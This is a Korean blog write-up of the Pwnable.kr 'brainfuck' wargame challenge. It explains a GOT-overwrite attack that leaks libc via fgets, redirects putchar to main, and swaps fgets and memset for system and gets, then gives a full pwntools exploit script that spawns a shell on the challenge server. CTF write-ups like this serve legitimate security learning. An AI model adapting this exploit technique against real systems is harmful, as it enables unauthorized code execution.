<Wargame & CTF>/Pwnable.kr

[Pwnable.kr] brainfuck

gosoeungduk 2021. 5. 30. 23:34
반응형

#Pwnable.kr #brainfuck #Rookiss


title

brainfuck 문제이다.

source_main

main 함수부터 까보면 위와 같이 생겼다. 단순히 fgets 로 입력받아오는 것처럼 보인다.
입력 받은 값을 전달하는 do_brainfuck 함수를 보자.

source_dobrainfuck

do_brainfuck 함수의 모습이다. main 함수를 다시보면, tape(0x0804A0A0) 전역변수 값을 받아오는 전역변수 p(0x0804A080) 가 있는데 do_brainfuck 에서는 이 p 변수를 가지고 포인터조작을 할 수 있는 함수이다.

" 결론적으로는 got_overwrite 문제이다. "


시나리오는 다음과 같다.

table

p 변수와 멀리 떨어지지 않은 곳에 위와 같은 got table 이 존재하는데, 이곳은 do_brainfuck 함수에서 < 문자로 p 변수가 도달하게끔 조작할 수 있다.

그리고 . 문자로 해당 got address 를 추출해내고 바이너리와 함께 동봉해준 bf_libc.so 파일에 존재하는 offset 을 차감하여 libc_base address 를 얻어낼 수 있다.

그런 다음에 > 문자로 원하는 다른 함수의 got 로 이동하여 , 문자의 getchar 함수를 통하여 해당 got 를 원하는 주소로 덮어씌울 수 있다.

필자는 최초로 leak 할 got 를 fgets 로 잡고 libc_base address 를 얻어낸 후, putchar 함수는 이 다음으로 사용할 일이 거의 없으므로 main 함수로 덮어버렸다.

그러면, . 문자가 실행될 시 main 함수로 회귀하게되고 다시 do_brainfuck 에 의해 got_overwrite 할 기회가 생기게 된다.


그 다음 페이즈 2 로 넘어간다. 이 부분은 간단하다.

main_hit

main 함수의 해당부분을 자세히 살펴보면 memset 이 gets 로, fgets 가 system 함수가 된다면 우리가 원하는 목적을 이룰 수 있을 것 같지않은가?

그래서 do_brainfuck 에서 해당 함수 got 들을 덮어씌우고 putchar 로 main 회귀하면 플래그를 읽을 수 있다.

from pwn import *
libc=ELF("./bf_libc.so")
binary=ELF("./bf")
tape_addr=0x804a0a0
main_addr=0x8048671
def byte_send(s,addr):
    for i in range(0,4):
        s.send(chr((addr>>0x8*i)&0xff))
#s=process("bf")
s=remote("pwnable.kr",9001)

#@@@@<phase 1 : leak libc_base & overwrite putchar to main>@@@@
pay="<"*(tape_addr-binary.got['fgets']) # fgets_got
pay+=".>.>.>.>" #print fgets_got addr
pay+=">"*(binary.got['putchar']-binary.got['fgets']-4)
pay+=",>,>,>,>" #send main addr to putchar
pay+="." # execute putchar function
s.recvuntil("[ ]\n")
s.sendline(pay)
fgets_addr=s.recv(1)
for i in range(0,3):
    fgets_addr+=s.recv(1)
libc_base=u32(fgets_addr)-libc.symbols['fgets']
system_addr=libc_base+libc.symbols['system']
gets_addr=libc_base+libc.symbols['gets']
log.info("[+] libc_base : "+hex(libc_base))
log.info("[+] system_addr : "+hex(system_addr))
log.info("[+] get_addr : "+hex(gets_addr))
byte_send(s,main_addr)

#@@@@<phase 2 : execute system('/bin/sh');>@@@@
fgets_got=binary.got['fgets']
memset_got=binary.got['memset']
pay="<"*(tape_addr-fgets_got) # fgets_got
pay+=",>,>,>,>" # send system addr to fgets
pay+=">"*(memset_got-fgets_got-4)
pay+=",>,>,>,>." # send gets addr to memset
s.recvuntil("[ ]\n")
s.sendline(pay)
byte_send(s,system_addr)
byte_send(s,gets_addr)
s.interactive()
반응형

'<Wargame & CTF> > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] loveletter  (0) 2021.06.07
[Pwnable.kr] horcruxes  (0) 2021.05.30
[Pwnable.kr] blukat  (0) 2021.05.30
[Pwnable.kr] asm  (0) 2021.05.29
[Pwnable.kr] memcpy  (0) 2021.05.29